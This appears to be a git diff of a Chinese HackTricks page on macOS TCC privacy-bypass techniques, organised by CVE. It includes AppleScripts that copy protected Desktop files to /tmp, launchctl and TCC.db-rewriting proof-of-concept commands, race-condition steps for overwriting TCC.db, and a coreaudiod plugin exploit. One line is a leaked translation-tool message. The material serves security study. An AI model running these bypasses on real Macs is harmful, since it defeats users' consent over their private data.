<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一个**网络安全公司**工作吗？想要在HackTricks中**宣传你的公司**吗？或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
* 你在**网络安全公司**工作吗？你想在**HackTricks**看到你的**公司广告**吗？或者你想要访问**最新版本的 PEASS 或下载 HackTricks 的 PDF**？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏。
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **推特** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注我。**
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,14 +1,14 @@
|
|||
# macOS TCC绕过
|
||||
# macOS TCC 绕过技术
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云平台 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗？你想在HackTricks中看到你的**公司广告**吗？或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)，或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
* 您在**网络安全公司**工作吗？您想在**HackTricks**中看到您的**公司广告**吗？或者您想要访问**最新版本的 PEASS 或下载 HackTricks 的 PDF**吗？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
|
|
@ -16,7 +16,7 @@
|
|||
|
||||
### 写入绕过
|
||||
|
||||
这不是一个绕过，这只是TCC的工作原理：**它不会阻止写入操作**。如果终端**无法读取用户的桌面，仍然可以将文件写入其中**：
|
||||
这不是一个绕过技术，这只是 TCC 的工作方式：**它不防止写入**。如果 Terminal **没有权限读取用户的桌面，它仍然可以写入其中**：
|
||||
```shell-session
|
||||
username@hostname ~ % ls Desktop
|
||||
ls: Desktop: Operation not permitted
|
||||
|
|
@ -26,53 +26,53 @@ ls: Desktop: Operation not permitted
|
|||
username@hostname ~ % cat Desktop/lalala
|
||||
asd
|
||||
```
|
||||
**扩展属性 `com.apple.macl`** 被添加到新的 **文件** 中，以使创建者的应用程序能够读取它。
|
||||
**扩展属性 `com.apple.macl`** 被添加到新的**文件**中，以授予**创建者应用程序**读取它的权限。
|
||||
|
||||
### SSH绕过
|
||||
### SSH 绕过
|
||||
|
||||
默认情况下，通过 **SSH 访问** 会拥有 "完全磁盘访问" 权限。为了禁用此权限，您需要将其列出但禁用（从列表中删除不会删除这些权限）：
|
||||
默认情况下，通过 **SSH 的访问曾经拥有“完全磁盘访问”权限**。为了禁用这一点，你需要将其列出但禁用（从列表中移除并不会撤销这些权限）：
|
||||
|
||||
.png>)
|
||||
|
||||
在这里，您可以找到一些 **恶意软件是如何绕过此保护的示例**：
|
||||
在这里，你可以找到一些**恶意软件如何能够绕过这种保护**的例子：
|
||||
|
||||
* [https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/](https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/)
|
||||
|
||||
{% hint style="danger" %}
|
||||
请注意，现在为了能够启用 SSH，您需要 **完全磁盘访问** 权限
|
||||
请注意，现在，为了能够启用 SSH，你需要**完全磁盘访问**权限
|
||||
{% endhint %}
|
||||
|
||||
### 处理扩展名 - CVE-2022-26767
|
||||
|
||||
文件被赋予属性 **`com.apple.macl`**，以使某个应用程序具有读取它的权限。当用户通过 **拖放** 文件到应用程序上，或者双击文件以使用 **默认应用程序** 打开它时，将设置此属性。
|
||||
属性 **`com.apple.macl`** 被赋予文件，以授予**某个应用程序读取它的权限**。当**拖放**文件到应用程序上，或当用户**双击**文件以用**默认应用程序**打开它时，会设置此属性。
|
||||
|
||||
因此，用户可以 **注册一个恶意应用程序** 来处理所有扩展名，并调用 Launch Services 来 **打开** 任何文件（因此，恶意文件将被授予读取权限）。
|
||||
因此，用户可以**注册一个恶意应用程序**来处理所有扩展名，并调用 Launch Services 来**打开**任何文件（因此恶意文件将被授予读取它的权限）。
|
||||
|
||||
### iCloud
|
||||
|
||||
通过权限 **`com.apple.private.icloud-account-access`**，可以与 **`com.apple.iCloudHelper`** XPC 服务进行通信，该服务将提供 iCloud 令牌。
|
||||
通过权限 **`com.apple.private.icloud-account-access`**，可以与 **`com.apple.iCloudHelper`** XPC 服务通信，该服务将**提供 iCloud 令牌**。
|
||||
|
||||
**iMovie** 和 **Garageband** 具有此权限以及其他权限。
|
||||
**iMovie** 和 **Garageband** 拥有此权限和其他允许的权限。
|
||||
|
||||
有关从该权限中获取 iCloud 令牌的漏洞的更多 **信息**，请查看演讲：[**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
||||
有关利用该权限**获取 icloud 令牌**的更多**信息**，请查看演讲：[**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0)
|
||||
|
||||
### kTCCServiceAppleEvents / Automation
|
||||
### kTCCServiceAppleEvents / 自动化
|
||||
|
||||
具有 **`kTCCServiceAppleEvents`** 权限的应用程序将能够 **控制其他应用程序**。这意味着它可以滥用授予其他应用程序的权限。
|
||||
拥有 **`kTCCServiceAppleEvents`** 权限的应用程序将能够**控制其他应用程序**。这意味着它可能能够**滥用授予其他应用程序的权限**。
|
||||
|
||||
有关 Apple 脚本的更多信息，请参阅：
|
||||
有关 Apple 脚本的更多信息，请查看：
|
||||
|
||||
{% content-ref url="macos-apple-scripts.md" %}
|
||||
[macos-apple-scripts.md](macos-apple-scripts.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
例如，如果一个应用程序具有对 `iTerm` 的 **自动化权限**，例如在此示例中 **`Terminal`** 具有对 iTerm 的访问权限：
|
||||
例如，如果一个应用程序对 **`iTerm`** 拥有**自动化权限**，例如在这个例子中 **`Terminal`** 对 iTerm 有访问权限：
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (2) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 在 iTerm 上
|
||||
|
||||
没有 FDA 权限的 Terminal 可以调用具有 FDA 权限的 iTerm，并使用它执行操作：
|
||||
Terminal，它没有 FDA，可以调用拥有 FDA 的 iTerm，并使用它来执行操作：
|
||||
|
||||
{% code title="iterm.script" %}
|
||||
```applescript
|
||||
|
|
@ -86,13 +86,13 @@ write text "cp ~/Desktop/private.txt /tmp"
|
|||
end tell
|
||||
end tell
|
||||
```
|
||||
{% endcode %}
|
||||
The provided text does not contain any content to translate. It is a closing tag for a code block in markdown syntax. Please provide the relevant English text that needs to be translated into Chinese.
|
||||
```bash
|
||||
osascript iterm.script
|
||||
```
|
||||
#### 通过Finder
|
||||
#### 通过 Finder
|
||||
|
||||
或者，如果一个应用程序在Finder上具有访问权限，它可以使用以下脚本之一：
|
||||
如果一个应用程序可以通过 Finder 访问，它可以使用类似这样的脚本：
|
||||
```applescript
|
||||
set a_user to do shell script "logname"
|
||||
tell application "Finder"
|
||||
|
|
@ -102,15 +102,15 @@ set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alia
|
|||
end tell
|
||||
do shell script "rm " & POSIX path of (copyFile as alias)
|
||||
```
|
||||
## 通过应用行为
|
||||
## 根据应用行为
|
||||
|
||||
### CVE-2020–9934 - TCC <a href="#c19b" id="c19b"></a>
|
||||
|
||||
用户空间的 **tccd 守护进程** 使用 **`HOME`** **env** 变量来访问 TCC 用户数据库：**`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
|
||||
用户级别的 **tccd 守护进程** 使用 **`HOME`** **环境变量** 来访问 TCC 用户数据库，位于：**`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
|
||||
|
||||
根据[这个 Stack Exchange 帖子](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686)和因为 TCC 守护进程是通过 `launchd` 在当前用户域中运行的，可以**控制传递给它的所有环境变量**。\
|
||||
因此，攻击者可以在 **`launchctl`** 中设置 `$HOME` 环境变量，指向一个**受控的目录**，然后**重新启动** TCC 守护进程，然后直接修改 TCC 数据库，以获取自己所需的**所有 TCC 权限**，而无需提示最终用户。\
|
||||
PoC:
|
||||
根据 [这个 Stack Exchange 帖子](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) 以及因为 TCC 守护进程是通过 `launchd` 在当前用户的域中运行的，可以**控制传递给它的所有环境变量**。\
|
||||
因此，**攻击者可以在 `launchctl` 中设置 `$HOME` 环境变量** 指向一个**受控的目录**，**重启** **TCC** 守护进程，然后**直接修改 TCC 数据库**，给自己授予**所有可用的 TCC 权限**，而不需要提示最终用户。\
|
||||
PoC：
|
||||
```bash
|
||||
# reset database just in case (no cheating!)
|
||||
$> tccutil reset All
|
||||
|
|
@ -139,49 +139,90 @@ $> ls ~/Documents
|
|||
```
|
||||
### CVE-2021-30761 - 笔记
|
||||
|
||||
笔记可以访问TCC受保护的位置，但是当创建笔记时，它会被创建在一个非受保护的位置。因此，你可以要求笔记将受保护的文件复制到一个笔记中（即非受保护的位置），然后访问该文件：
|
||||
笔记有权访问TCC保护的位置，但是当创建笔记时，它是在**非保护位置创建的**。因此，您可以要求笔记将受保护的文件复制到一个笔记中（因此在一个非保护的位置），然后访问该文件：
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### CVE-2021-30782 - 迁移
|
||||
### CVE-2021-30782 - 转移
|
||||
|
||||
二进制文件`/usr/libexec/lsd`与库`libsecurity_translocate`具有`com.apple.private.nullfs_allow`权限，允许它创建**nullfs**挂载，并具有`com.apple.private.tcc.allow`权限和**`kTCCServiceSystemPolicyAllFiles`**以访问每个文件。
|
||||
二进制文件`/usr/libexec/lsd`和库`libsecurity_translocate`拥有`com.apple.private.nullfs_allow`权限，允许它创建**nullfs**挂载，并拥有`com.apple.private.tcc.allow`权限，带有**`kTCCServiceSystemPolicyAllFiles`**以访问每个文件。
|
||||
|
||||
可以将隔离属性添加到"Library"，调用**`com.apple.security.translocation`** XPC服务，然后将Library映射到**`$TMPDIR/AppTranslocation/d/d/Library`**，从而可以访问Library中的所有文档。
|
||||
可以向"Library"添加隔离属性，调用**`com.apple.security.translocation`** XPC服务，然后它会将Library映射到**`$TMPDIR/AppTranslocation/d/d/Library`**，在那里可以**访问**Library内的所有文档。
|
||||
|
||||
### CVE-2023-38571 - 音乐和电视 <a href="#cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv" id="cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv"></a>
|
||||
### CVE-2023-38571 - 音乐与电视 <a href="#cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv" id="cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv"></a>
|
||||
|
||||
**`Music`**有一个有趣的功能：当它运行时，它会将放置在**`~/Music/Music/Media.localized/Automatically Add to Music.localized`**中的文件导入用户的"媒体库"。此外，它调用类似于**`rename(a, b);`**的函数，其中`a`和`b`分别是：
|
||||
**`Music`** 有一个有趣的功能：当它运行时，它会将拖放到**`~/Music/Music/Media.localized/Automatically Add to Music.localized`**的文件**导入**用户的"媒体库"。此外，它会调用类似：**`rename(a, b);`** 其中`a`和`b`是：
|
||||
|
||||
* `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"`
|
||||
* `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3`
|
||||
* `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3"`
|
||||
|
||||
这个**`rename(a, b);`**行为容易受到**竞争条件**的攻击，因为可以在`Automatically Add to Music.localized`文件夹中放置一个伪造的**TCC.db**文件，然后在创建新文件夹(b)时将文件复制、删除，并将其指向**`~/Library/Application Support/com.apple.TCC`**。
|
||||
这个**`rename(a, b);`** 行为容易受到**竞态条件**的影响，因为可以在`Automatically Add to Music.localized`文件夹中放置一个假的**TCC.db**文件，然后当新文件夹(b)创建以复制文件时，删除它，并将其指向**`~/Library/Application Support/com.apple.TCC`**/。
|
||||
|
||||
### SQLITE\_SQLLOG\_DIR - CVE-2023-32422
|
||||
### SQLITE_SQLLOG_DIR - CVE-2023-32422
|
||||
|
||||
如果**`SQLITE_SQLLOG_DIR="path/folder"`**，基本上意味着**任何打开的数据库都会被复制到该路径**。在这个CVE中，滥用了这个控制来在一个由FDA TCC数据库打开的进程中**写入**一个**SQLite数据库**，然后通过在文件名中创建一个**符号链接**来滥用**`SQLITE_SQLLOG_DIR`**，这样当打开该数据库时，用户的**TCC.db将被覆盖**。
|
||||
[**更多信息请点击这里**](https://youtu.be/f1HA5QhLQ7Y?t=20548)。
|
||||
如果设置了**`SQLITE_SQLLOG_DIR="path/folder"`**，基本上意味着**任何打开的数据库都会被复制到该路径**。在这个CVE中，这个控制被滥用来**写入**一个将由拥有FDA的进程打开的TCC数据库中的**SQLite数据库**，然后滥用**`SQLITE_SQLLOG_DIR`**，在文件名中使用**符号链接**，所以当该数据库**打开**时，用户的**TCC.db被覆盖**为打开的那个。\
|
||||
**更多信息** [**在写作中**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **和**[ **在讲话中**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y\&t=20548s).
|
||||
|
||||
### **SQLITE\_AUTO\_TRACE**
|
||||
### **SQLITE_AUTO_TRACE**
|
||||
|
||||
如果设置了环境变量**`SQLITE_AUTO_TRACE`**，库**`libsqlite3.dylib`**将开始记录所有的SQL查询。许多应用程序使用了这个库，因此可以记录它们所有的SQLite查询。
|
||||
如果设置了环境变量**`SQLITE_AUTO_TRACE`**，库**`libsqlite3.dylib`**将开始**记录**所有SQL查询。许多应用程序使用了这个库，因此可以记录它们所有的SQLite查询。
|
||||
|
||||
几个Apple应用程序使用了这个库来访问TCC受保护的信息。
|
||||
苹果的几个应用程序使用了这个库来访问受TCC保护的信息。
|
||||
```bash
|
||||
# Set this env variable everywhere
|
||||
launchctl setenv SQLITE_AUTO_TRACE 1
|
||||
```
|
||||
### MTL\_DUMP\_PIPELINES\_TO\_JSON\_FILE - CVE-2023-32407
|
||||
|
||||
此**环境变量由 `Metal` 框架使用**，它是多个程序的依赖，尤其是具有FDA的 `Music`。
|
||||
|
||||
设置以下内容：`MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"`。如果 `path` 是一个有效的目录，漏洞将被触发，我们可以使用 `fs_usage` 来查看程序中发生了什么：
|
||||
|
||||
* 一个名为 `path/.dat.nosyncXXXX.XXXXXX`（X 是随机的）的文件将被 `open()`，
|
||||
* 一个或多个 `write()` 将把内容写入文件（我们无法控制这一点），
|
||||
* `path/.dat.nosyncXXXX.XXXXXX` 将被 `renamed()` 为 `path/name`。
|
||||
|
||||
这是一个临时文件写入，随后是一个**`rename(old, new)`** **这不安全。**
|
||||
|
||||
它不安全，因为它必须**分别解析旧路径和新路径**，这可能需要一些时间，并且可能对竞争条件（Race Condition）敏感。更多信息可以查看 `xnu` 函数 `renameat_internal()`。
|
||||
|
||||
{% hint style="danger" %}
|
||||
所以，基本上，如果一个拥有特权的进程正在重命名一个你控制的文件夹，你可以赢得一个RCE并使其访问不同的文件，或者像在这个CVE中，打开特权应用创建的文件并存储一个FD。
|
||||
|
||||
如果重命名访问了你控制的文件夹，而你已经修改了源文件或拥有一个FD，你可以将目标文件（或文件夹）更改为指向一个符号链接，这样你就可以随意写入。
|
||||
{% endhint %}
|
||||
|
||||
这是CVE中的攻击：例如，为了覆盖用户的 `TCC.db`，我们可以：
|
||||
|
||||
* 创建 `/Users/hacker/ourlink` 指向 `/Users/hacker/Library/Application Support/com.apple.TCC/`
|
||||
* 创建目录 `/Users/hacker/tmp/`
|
||||
* 设置 `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db`
|
||||
* 通过运行带有此环境变量的 `Music` 来触发漏洞
|
||||
* 捕获 `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX` 的 `open()`（X 是随机的）
|
||||
* 在这里我们也为写入 `open()` 这个文件，并保持文件描述符
|
||||
* 在循环中原子性地切换 `/Users/hacker/tmp` 和 `/Users/hacker/ourlink`
|
||||
* 我们这样做是为了最大化成功的机会，因为竞争窗口非常短，但是失去竞争几乎没有不利影响
|
||||
* 稍等片刻
|
||||
* 测试我们是否幸运
|
||||
* 如果没有，从头开始再来
|
||||
|
||||
更多信息在 [https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html](https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html)
|
||||
|
||||
{% hint style="danger" %}
|
||||
现在，如果你尝试使用环境变量 `MTL_DUMP_PIPELINES_TO_JSON_FILE` 应用程序将不会启动
|
||||
{% endhint %}
|
||||
|
||||
### Apple Remote Desktop
|
||||
|
||||
作为root用户，您可以启用此服务，并且ARD代理将具有完全磁盘访问权限，用户可以利用此权限使其复制一个新的TCC用户数据库。
|
||||
作为root，你可以启用此服务，**ARD代理将拥有完整的磁盘访问权限**，然后用户可以滥用它来复制新的**TCC用户数据库**。
|
||||
|
||||
## 通过NFSHomeDirectory
|
||||
## 通过 **NFSHomeDirectory**
|
||||
|
||||
TCC使用位于用户HOME文件夹中的数据库来控制对用户特定资源的访问，路径为`$HOME/Library/Application Support/com.apple.TCC/TCC.db`。因此，如果用户成功使用指向不同文件夹的`$HOME`环境变量重新启动TCC，用户可以在`/Library/Application Support/com.apple.TCC/TCC.db`中创建一个新的TCC数据库，并欺骗TCC授予任何应用程序任何TCC权限。
|
||||
TCC在用户的HOME文件夹中使用一个数据库来控制对特定于用户的资源的访问，位于 **$HOME/Library/Application Support/com.apple.TCC/TCC.db**。\
|
||||
因此，如果用户设法用指向**不同文件夹**的$HOME环境变量重启TCC，用户可以在 **/Library/Application Support/com.apple.TCC/TCC.db** 中创建一个新的TCC数据库，并欺骗TCC授予任何应用程序任何TCC权限。
|
||||
|
||||
{% hint style="success" %}
|
||||
请注意，Apple使用存储在用户配置文件中的`NFSHomeDirectory`属性中的设置作为`$HOME`的值，因此，如果您以具有修改此值权限（`kTCCServiceSystemPolicySysAdminFiles`）的应用程序权限，您可以使用TCC绕过此选项。
|
||||
请注意，Apple使用存储在用户配置文件中的设置作为 **`NFSHomeDirectory`** 属性的**`$HOME`** 的值，所以如果你攻破了一个有权限修改这个值的应用程序（**`kTCCServiceSystemPolicySysAdminFiles`**），你可以**武器化**这个选项，绕过TCC。
|
||||
{% endhint %}
|
||||
|
||||
### [CVE-2020–9934 - TCC](./#c19b) <a href="#c19b" id="c19b"></a>
|
||||
|
|
@ -190,42 +231,44 @@ TCC使用位于用户HOME文件夹中的数据库来控制对用户特定资源
|
|||
|
||||
### CVE-2021-30970 - Powerdir
|
||||
|
||||
第一个POC使用[dsexport](https://www.unix.com/man-page/osx/1/dsexport/)和[dsimport](https://www.unix.com/man-page/osx/1/dsimport/)来修改用户的HOME文件夹。
|
||||
**第一个POC** 使用 [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/) 和 [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/) 来修改用户的 **HOME** 文件夹。
|
||||
|
||||
1. 获取目标应用程序的_csreq_ blob。
|
||||
2. 使用所需访问权限和_csreq_ blob植入一个伪造的_TCC.db_文件。
|
||||
3. 使用[dsexport](https://www.unix.com/man-page/osx/1/dsexport/)导出用户的目录服务条目。
|
||||
4. 修改目录服务条目以更改用户的主目录。
|
||||
5. 使用[dsimport](https://www.unix.com/man-page/osx/1/dsimport/)导入修改后的目录服务条目。
|
||||
6. 停止用户的_tccd_并重新启动该进程。
|
||||
1. 获取目标应用的 _csreq_ blob。
|
||||
2. 放置一个带有所需访问权限和 _csreq_ blob 的假 _TCC.db_ 文件。
|
||||
3. 使用 [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/) 导出用户的目录服务条目。
|
||||
4. 修改目录服务条目以更改用户的家目录。
|
||||
5. 使用 [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/) 导入修改后的目录服务条目。
|
||||
6. 停止用户的 _tccd_ 并重启进程。
|
||||
|
||||
第二个POC使用了`/usr/libexec/configd`，其中包含具有值`kTCCServiceSystemPolicySysAdminFiles`的`com.apple.private.tcc.allow`。如果使用`-t`选项运行`configd`，攻击者可以指定要加载的自定义Bundle。因此，该漏洞利用了`configd`代码注入，以替换更改用户主目录的`dsexport`和`dsimport`方法。
|
||||
第二个POC使用了 **`/usr/libexec/configd`**，它具有 `com.apple.private.tcc.allow` 的值 `kTCCServiceSystemPolicySysAdminFiles`。\
|
||||
可以通过 **`configd`** 的 **`-t`** 选项，攻击者可以指定一个 **自定义Bundle来加载**。因此，利用 **替换** **`dsexport`** 和 **`dsimport`** 方法来更改用户家目录的 **`configd` 代码注入**。
|
||||
|
||||
有关更多信息，请查看[原始报告](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/)。
|
||||
更多信息请查看 [**原始报告**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/).
|
||||
|
||||
## 通过进程注入
|
||||
|
||||
有不同的技术可以将代码注入进程并滥用其TCC权限：
|
||||
有不同的技术可以将代码注入到进程中并滥用其TCC权限：
|
||||
|
||||
{% content-ref url="../../../macos-proces-abuse/" %}
|
||||
[macos-proces-abuse](../../../macos-proces-abuse/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
此外，绕过TCC最常见的进程注入方式是通过插件（加载库）进行的。插件通常以库或plist的形式存在，它们将由主应用程序加载并在其上下文中执行。因此，如果主应用程序具有对TCC受限文件的访问权限（通过授予的权限或权限），则自定义代码也将具有相同的访问权限。
|
||||
此外，最常见的绕过TCC的进程注入是通过 **插件（加载库）**。\
|
||||
插件通常是以库或plist的形式存在的额外代码，将被 **主应用程序加载** 并在其上下文中执行。因此，如果主应用程序有权访问TCC受限文件（通过授予的权限或权利），**自定义代码也将拥有它**。
|
||||
|
||||
### CVE-2020-27937 - Directory Utility
|
||||
|
||||
应用程序`/System/Library/CoreServices/Applications/Directory Utility.app`具有权限`kTCCServiceSystemPolicySysAdminFiles`，加载了扩展名为`.daplug`的插件，并且没有启用强化运行时。
|
||||
应用程序 `/System/Library/CoreServices/Applications/Directory Utility.app` 拥有权利 **`kTCCServiceSystemPolicySysAdminFiles`**，加载带有 **`.daplug`** 扩展名的插件，并且 **没有加固** 运行时。
|
||||
|
||||
为了利用此CVE，滥用先前的权限，更改了`NFSHomeDirectory`，以便能够接管用户的TCC数据库以绕过TCC。
|
||||
为了武器化这个CVE，**`NFSHomeDirectory`** 被 **更改**（滥用前述权利），以便能够 **接管用户的TCC数据库** 来绕过TCC。
|
||||
|
||||
有关更多信息，请查看[原始报告](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/)。
|
||||
更多信息请查看 [**原始报告**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/).
|
||||
|
||||
### CVE-2020-29621 - Coreaudiod
|
||||
|
||||
二进制文件`/usr/sbin/coreaudiod`具有权限`com.apple.security.cs.disable-library-validation`和`com.apple.private.tcc.manager`。第一个权限允许进行代码注入，第二个权限允许其管理TCC。
|
||||
二进制文件 **`/usr/sbin/coreaudiod`** 拥有权利 `com.apple.security.cs.disable-library-validation` 和 `com.apple.private.tcc.manager`。第一个 **允许代码注入**，第二个给予它管理 **TCC** 的权限。
|
||||
|
||||
该二进制文件允许从文件夹`/Library/Audio/Plug-Ins/HAL`加载第三方插件。因此，可以使用以下POC加载插件并滥用TCC权限：
|
||||
这个二进制文件允许从文件夹 `/Library/Audio/Plug-Ins/HAL` 加载 **第三方插件**。因此，可以 **加载插件并滥用TCC权限** 使用这个PoC：
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <Security/Security.h>
|
||||
|
|
@ -254,17 +297,17 @@ exit(0);
|
|||
```
|
||||
有关更多信息，请查看[**原始报告**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/)。
|
||||
|
||||
### 设备抽象层（DAL）插件
|
||||
### 设备抽象层 (DAL) 插件
|
||||
|
||||
通过Core Media I/O打开相机流的系统应用程序（具有**`kTCCServiceCamera`**的应用程序）在进程中加载位于`/Library/CoreMediaIO/Plug-Ins/DAL`中的这些插件（不受SIP限制）。
|
||||
通过 Core Media I/O 打开摄像头流的系统应用程序（具有 **`kTCCServiceCamera`** 的应用）会加载位于 `/Library/CoreMediaIO/Plug-Ins/DAL`（不受 SIP 限制）的**这些插件**。
|
||||
|
||||
